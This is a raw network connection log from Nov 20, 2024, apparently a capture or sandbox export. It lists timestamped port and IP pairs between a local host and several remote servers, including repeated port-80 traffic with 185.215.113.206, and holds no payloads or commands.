Nov 20, 2024 16:50:51.650624990 CET	49765	443	192.168.2.9	172.64.41.3
Nov 20, 2024 16:50:51.650785923 CET	49766	443	192.168.2.9	162.159.61.3
Nov 20, 2024 16:50:51.650806904 CET	443	49766	162.159.61.3	192.168.2.9
Nov 20, 2024 16:50:51.660100937 CET	443	49767	172.64.41.3	192.168.2.9
Nov 20, 2024 16:50:51.660175085 CET	443	49767	172.64.41.3	192.168.2.9
Nov 20, 2024 16:50:51.660240889 CET	49767	443	192.168.2.9	172.64.41.3
Nov 20, 2024 16:50:51.663692951 CET	49765	443	192.168.2.9	172.64.41.3
Nov 20, 2024 16:50:51.663723946 CET	443	49765	172.64.41.3	192.168.2.9
Nov 20, 2024 16:50:51.664186001 CET	49785	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:50:51.664233923 CET	443	49785	13.107.246.63	192.168.2.9
Nov 20, 2024 16:50:51.664333105 CET	49767	443	192.168.2.9	172.64.41.3
Nov 20, 2024 16:50:51.664338112 CET	49785	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:50:51.664352894 CET	443	49767	172.64.41.3	192.168.2.9
Nov 20, 2024 16:50:51.664921045 CET	49785	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:50:51.664931059 CET	443	49785	13.107.246.63	192.168.2.9
Nov 20, 2024 16:50:51.666553974 CET	49761	443	192.168.2.9	172.217.19.225
Nov 20, 2024 16:50:51.747785091 CET	443	49781	172.64.41.3	192.168.2.9
Nov 20, 2024 16:50:51.747946024 CET	49781	443	192.168.2.9	172.64.41.3
Nov 20, 2024 16:50:51.747956038 CET	443	49781	172.64.41.3	192.168.2.9
Nov 20, 2024 16:50:51.749147892 CET	443	49781	172.64.41.3	192.168.2.9
Nov 20, 2024 16:50:51.749193907 CET	49781	443	192.168.2.9	172.64.41.3
Nov 20, 2024 16:50:51.749500036 CET	49781	443	192.168.2.9	172.64.41.3
Nov 20, 2024 16:50:51.749578953 CET	443	49781	172.64.41.3	192.168.2.9
Nov 20, 2024 16:50:51.749603987 CET	49781	443	192.168.2.9	172.64.41.3
Nov 20, 2024 16:50:51.763427019 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:51.763487101 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:51.763497114 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:51.763511896 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:51.763524055 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:51.763536930 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:51.763562918 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:51.763632059 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:51.763683081 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:51.763696909 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:51.763715982 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:51.763715982 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:51.763744116 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:51.763773918 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:51.763820887 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:51.772080898 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:51.772176027 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:51.772176981 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:51.772229910 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:51.780530930 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:51.780599117 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:51.791337013 CET	443	49781	172.64.41.3	192.168.2.9
Nov 20, 2024 16:50:51.882090092 CET	443	49783	172.64.41.3	192.168.2.9
Nov 20, 2024 16:50:51.882477999 CET	49783	443	192.168.2.9	172.64.41.3
Nov 20, 2024 16:50:51.882492065 CET	443	49783	172.64.41.3	192.168.2.9
Nov 20, 2024 16:50:51.883577108 CET	443	49783	172.64.41.3	192.168.2.9
Nov 20, 2024 16:50:51.883646011 CET	49783	443	192.168.2.9	172.64.41.3
Nov 20, 2024 16:50:51.884083033 CET	49781	443	192.168.2.9	172.64.41.3
Nov 20, 2024 16:50:51.884094000 CET	443	49781	172.64.41.3	192.168.2.9
Nov 20, 2024 16:50:51.885474920 CET	49783	443	192.168.2.9	172.64.41.3
Nov 20, 2024 16:50:51.885576963 CET	443	49783	172.64.41.3	192.168.2.9
Nov 20, 2024 16:50:51.885633945 CET	49783	443	192.168.2.9	172.64.41.3
Nov 20, 2024 16:50:51.899068117 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:51.899082899 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:51.899132013 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:51.931329966 CET	443	49783	172.64.41.3	192.168.2.9
Nov 20, 2024 16:50:51.942828894 CET	443	49782	162.159.61.3	192.168.2.9
Nov 20, 2024 16:50:51.943100929 CET	49782	443	192.168.2.9	162.159.61.3
Nov 20, 2024 16:50:51.943110943 CET	443	49782	162.159.61.3	192.168.2.9
Nov 20, 2024 16:50:51.944127083 CET	443	49782	162.159.61.3	192.168.2.9
Nov 20, 2024 16:50:51.944199085 CET	49782	443	192.168.2.9	162.159.61.3
Nov 20, 2024 16:50:51.945228100 CET	49782	443	192.168.2.9	162.159.61.3
Nov 20, 2024 16:50:51.945338964 CET	443	49782	162.159.61.3	192.168.2.9
Nov 20, 2024 16:50:51.945472002 CET	49782	443	192.168.2.9	162.159.61.3
Nov 20, 2024 16:50:51.945477962 CET	443	49782	162.159.61.3	192.168.2.9
Nov 20, 2024 16:50:51.956984043 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:51.957042933 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:51.957070112 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:51.957103014 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:51.961154938 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:51.961208105 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:51.961289883 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:51.961330891 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:51.961697102 CET	49782	443	192.168.2.9	162.159.61.3
Nov 20, 2024 16:50:51.961787939 CET	443	49782	162.159.61.3	192.168.2.9
Nov 20, 2024 16:50:51.961842060 CET	49782	443	192.168.2.9	162.159.61.3
Nov 20, 2024 16:50:51.969779015 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:51.969794035 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:51.969835997 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:51.969870090 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:51.978053093 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:51.978113890 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:51.978326082 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:51.978859901 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:51.987040043 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:51.987054110 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:51.987102032 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:51.993097067 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:51.993172884 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:51.993272066 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:51.993314981 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:51.995100975 CET	49781	443	192.168.2.9	172.64.41.3
Nov 20, 2024 16:50:51.995229959 CET	443	49781	172.64.41.3	192.168.2.9
Nov 20, 2024 16:50:51.995320082 CET	49781	443	192.168.2.9	172.64.41.3
Nov 20, 2024 16:50:52.001415968 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.001518011 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.001569033 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.009761095 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.009819984 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.009831905 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.009867907 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.018332005 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.018383980 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.018457890 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.018506050 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.021364927 CET	443	49761	172.217.19.225	192.168.2.9
Nov 20, 2024 16:50:52.025440931 CET	443	49761	172.217.19.225	192.168.2.9
Nov 20, 2024 16:50:52.025496006 CET	49761	443	192.168.2.9	172.217.19.225
Nov 20, 2024 16:50:52.025516033 CET	443	49761	172.217.19.225	192.168.2.9
Nov 20, 2024 16:50:52.027040005 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.027163982 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.027228117 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.034938097 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.034996986 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.066148043 CET	443	49761	172.217.19.225	192.168.2.9
Nov 20, 2024 16:50:52.066181898 CET	443	49761	172.217.19.225	192.168.2.9
Nov 20, 2024 16:50:52.066215038 CET	49761	443	192.168.2.9	172.217.19.225
Nov 20, 2024 16:50:52.066235065 CET	443	49761	172.217.19.225	192.168.2.9
Nov 20, 2024 16:50:52.066289902 CET	49761	443	192.168.2.9	172.217.19.225
Nov 20, 2024 16:50:52.073142052 CET	49783	443	192.168.2.9	172.64.41.3
Nov 20, 2024 16:50:52.073152065 CET	443	49783	172.64.41.3	192.168.2.9
Nov 20, 2024 16:50:52.074641943 CET	443	49761	172.217.19.225	192.168.2.9
Nov 20, 2024 16:50:52.083347082 CET	443	49761	172.217.19.225	192.168.2.9
Nov 20, 2024 16:50:52.083435059 CET	49761	443	192.168.2.9	172.217.19.225
Nov 20, 2024 16:50:52.083451986 CET	443	49761	172.217.19.225	192.168.2.9
Nov 20, 2024 16:50:52.085357904 CET	443	49769	20.231.128.67	192.168.2.9
Nov 20, 2024 16:50:52.085907936 CET	49769	443	192.168.2.9	20.231.128.67
Nov 20, 2024 16:50:52.085937023 CET	443	49769	20.231.128.67	192.168.2.9
Nov 20, 2024 16:50:52.086749077 CET	49769	443	192.168.2.9	20.231.128.67
Nov 20, 2024 16:50:52.086755991 CET	443	49769	20.231.128.67	192.168.2.9
Nov 20, 2024 16:50:52.086815119 CET	49769	443	192.168.2.9	20.231.128.67
Nov 20, 2024 16:50:52.086826086 CET	443	49769	20.231.128.67	192.168.2.9
Nov 20, 2024 16:50:52.088143110 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.088212013 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.088239908 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.088305950 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.092700005 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.092753887 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.095808029 CET	443	49761	172.217.19.225	192.168.2.9
Nov 20, 2024 16:50:52.095916986 CET	443	49761	172.217.19.225	192.168.2.9
Nov 20, 2024 16:50:52.095917940 CET	49761	443	192.168.2.9	172.217.19.225
Nov 20, 2024 16:50:52.095938921 CET	443	49761	172.217.19.225	192.168.2.9
Nov 20, 2024 16:50:52.096084118 CET	49761	443	192.168.2.9	172.217.19.225
Nov 20, 2024 16:50:52.104244947 CET	443	49761	172.217.19.225	192.168.2.9
Nov 20, 2024 16:50:52.117085934 CET	443	49761	172.217.19.225	192.168.2.9
Nov 20, 2024 16:50:52.117157936 CET	49761	443	192.168.2.9	172.217.19.225
Nov 20, 2024 16:50:52.117175102 CET	443	49761	172.217.19.225	192.168.2.9
Nov 20, 2024 16:50:52.144854069 CET	49786	443	192.168.2.9	172.64.41.3
Nov 20, 2024 16:50:52.144886017 CET	443	49786	172.64.41.3	192.168.2.9
Nov 20, 2024 16:50:52.145036936 CET	49787	443	192.168.2.9	172.64.41.3
Nov 20, 2024 16:50:52.145062923 CET	443	49787	172.64.41.3	192.168.2.9
Nov 20, 2024 16:50:52.145121098 CET	49786	443	192.168.2.9	172.64.41.3
Nov 20, 2024 16:50:52.145216942 CET	49787	443	192.168.2.9	172.64.41.3
Nov 20, 2024 16:50:52.145451069 CET	49787	443	192.168.2.9	172.64.41.3
Nov 20, 2024 16:50:52.145463943 CET	443	49787	172.64.41.3	192.168.2.9
Nov 20, 2024 16:50:52.145853043 CET	49786	443	192.168.2.9	172.64.41.3
Nov 20, 2024 16:50:52.145860910 CET	443	49786	172.64.41.3	192.168.2.9
Nov 20, 2024 16:50:52.147700071 CET	443	49778	18.165.220.110	192.168.2.9
Nov 20, 2024 16:50:52.148130894 CET	49778	443	192.168.2.9	18.165.220.110
Nov 20, 2024 16:50:52.148150921 CET	443	49778	18.165.220.110	192.168.2.9
Nov 20, 2024 16:50:52.148338079 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.148353100 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.148411036 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.149260998 CET	443	49778	18.165.220.110	192.168.2.9
Nov 20, 2024 16:50:52.149486065 CET	49778	443	192.168.2.9	18.165.220.110
Nov 20, 2024 16:50:52.149813890 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.149866104 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.149914980 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.149950981 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.150346041 CET	49778	443	192.168.2.9	18.165.220.110
Nov 20, 2024 16:50:52.150430918 CET	443	49778	18.165.220.110	192.168.2.9
Nov 20, 2024 16:50:52.151063919 CET	443	49761	172.217.19.225	192.168.2.9
Nov 20, 2024 16:50:52.151245117 CET	49761	443	192.168.2.9	172.217.19.225
Nov 20, 2024 16:50:52.151262045 CET	443	49761	172.217.19.225	192.168.2.9
Nov 20, 2024 16:50:52.162353039 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.162367105 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.162410975 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.165900946 CET	49783	443	192.168.2.9	172.64.41.3
Nov 20, 2024 16:50:52.166018963 CET	443	49783	172.64.41.3	192.168.2.9
Nov 20, 2024 16:50:52.166127920 CET	49783	443	192.168.2.9	172.64.41.3
Nov 20, 2024 16:50:52.167956114 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.168005943 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.168303013 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.168345928 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.176850080 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.176903009 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.177088022 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.177144051 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.185071945 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.185086966 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.185133934 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.189660072 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.189723969 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.189757109 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.189805984 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.194549084 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.194564104 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.194613934 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.197017908 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.197079897 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.197107077 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.197141886 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.201735973 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.201788902 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.201841116 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.201929092 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.206530094 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.206579924 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.206613064 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.206679106 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.211143017 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.211190939 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.211251974 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.211293936 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.215872049 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.215920925 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.215956926 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.215995073 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.217202902 CET	443	49761	172.217.19.225	192.168.2.9
Nov 20, 2024 16:50:52.217293024 CET	49761	443	192.168.2.9	172.217.19.225
Nov 20, 2024 16:50:52.217317104 CET	443	49761	172.217.19.225	192.168.2.9
Nov 20, 2024 16:50:52.220577002 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.220629930 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.220671892 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.220793962 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.225471020 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.225493908 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.225523949 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.225534916 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.227317095 CET	443	49761	172.217.19.225	192.168.2.9
Nov 20, 2024 16:50:52.227391005 CET	49761	443	192.168.2.9	172.217.19.225
Nov 20, 2024 16:50:52.227406979 CET	443	49761	172.217.19.225	192.168.2.9
Nov 20, 2024 16:50:52.230021954 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.230129004 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.230170012 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.230223894 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.234797955 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.234908104 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.234916925 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.234954119 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.237092972 CET	443	49761	172.217.19.225	192.168.2.9
Nov 20, 2024 16:50:52.237181902 CET	49761	443	192.168.2.9	172.217.19.225
Nov 20, 2024 16:50:52.237195969 CET	443	49761	172.217.19.225	192.168.2.9
Nov 20, 2024 16:50:52.239453077 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.239511967 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.239602089 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.239651918 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.244163036 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.244223118 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.244288921 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.244410038 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.246928930 CET	443	49761	172.217.19.225	192.168.2.9
Nov 20, 2024 16:50:52.246985912 CET	49761	443	192.168.2.9	172.217.19.225
Nov 20, 2024 16:50:52.247003078 CET	443	49761	172.217.19.225	192.168.2.9
Nov 20, 2024 16:50:52.248982906 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.249048948 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.249119043 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.249247074 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.254290104 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.254472017 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.259788990 CET	49778	443	192.168.2.9	18.165.220.110
Nov 20, 2024 16:50:52.259814978 CET	443	49778	18.165.220.110	192.168.2.9
Nov 20, 2024 16:50:52.260215998 CET	443	49761	172.217.19.225	192.168.2.9
Nov 20, 2024 16:50:52.260289907 CET	49761	443	192.168.2.9	172.217.19.225
Nov 20, 2024 16:50:52.260303974 CET	443	49761	172.217.19.225	192.168.2.9
Nov 20, 2024 16:50:52.272053003 CET	443	49761	172.217.19.225	192.168.2.9
Nov 20, 2024 16:50:52.272177935 CET	49761	443	192.168.2.9	172.217.19.225
Nov 20, 2024 16:50:52.272192955 CET	443	49761	172.217.19.225	192.168.2.9
Nov 20, 2024 16:50:52.282459021 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.282517910 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.282567024 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.282605886 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.284837008 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.284849882 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.284898043 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.285657883 CET	443	49761	172.217.19.225	192.168.2.9
Nov 20, 2024 16:50:52.285710096 CET	49761	443	192.168.2.9	172.217.19.225
Nov 20, 2024 16:50:52.285722971 CET	443	49761	172.217.19.225	192.168.2.9
Nov 20, 2024 16:50:52.289575100 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.289633036 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.299427032 CET	443	49761	172.217.19.225	192.168.2.9
Nov 20, 2024 16:50:52.299496889 CET	49761	443	192.168.2.9	172.217.19.225
Nov 20, 2024 16:50:52.299514055 CET	443	49761	172.217.19.225	192.168.2.9
Nov 20, 2024 16:50:52.317240953 CET	443	49761	172.217.19.225	192.168.2.9
Nov 20, 2024 16:50:52.317292929 CET	49761	443	192.168.2.9	172.217.19.225
Nov 20, 2024 16:50:52.317307949 CET	443	49761	172.217.19.225	192.168.2.9
Nov 20, 2024 16:50:52.328263044 CET	443	49761	172.217.19.225	192.168.2.9
Nov 20, 2024 16:50:52.328330994 CET	49761	443	192.168.2.9	172.217.19.225
Nov 20, 2024 16:50:52.328346968 CET	443	49761	172.217.19.225	192.168.2.9
Nov 20, 2024 16:50:52.340238094 CET	443	49761	172.217.19.225	192.168.2.9
Nov 20, 2024 16:50:52.340312004 CET	49761	443	192.168.2.9	172.217.19.225
Nov 20, 2024 16:50:52.340327978 CET	443	49761	172.217.19.225	192.168.2.9
Nov 20, 2024 16:50:52.341804981 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.341845989 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.341898918 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.341931105 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.343969107 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.344029903 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.344747066 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.344808102 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.344891071 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.344949961 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.348510027 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.348546982 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.348577976 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.348592997 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.349380970 CET	443	49761	172.217.19.225	192.168.2.9
Nov 20, 2024 16:50:52.349441051 CET	49761	443	192.168.2.9	172.217.19.225
Nov 20, 2024 16:50:52.349456072 CET	443	49761	172.217.19.225	192.168.2.9
Nov 20, 2024 16:50:52.350910902 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.350986004 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.351505995 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.351577997 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.358990908 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.359735966 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.359818935 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.360500097 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.360860109 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.360923052 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.363719940 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.363766909 CET	443	49761	172.217.19.225	192.168.2.9
Nov 20, 2024 16:50:52.363821030 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.363851070 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.363886118 CET	49761	443	192.168.2.9	172.217.19.225
Nov 20, 2024 16:50:52.363899946 CET	443	49761	172.217.19.225	192.168.2.9
Nov 20, 2024 16:50:52.363907099 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.365641117 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.365657091 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.365705013 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.367265940 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.367311001 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.367326975 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.367352009 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.370095968 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.370151997 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.370187998 CET	80	49752	185.215.113.206	192.168.2.9
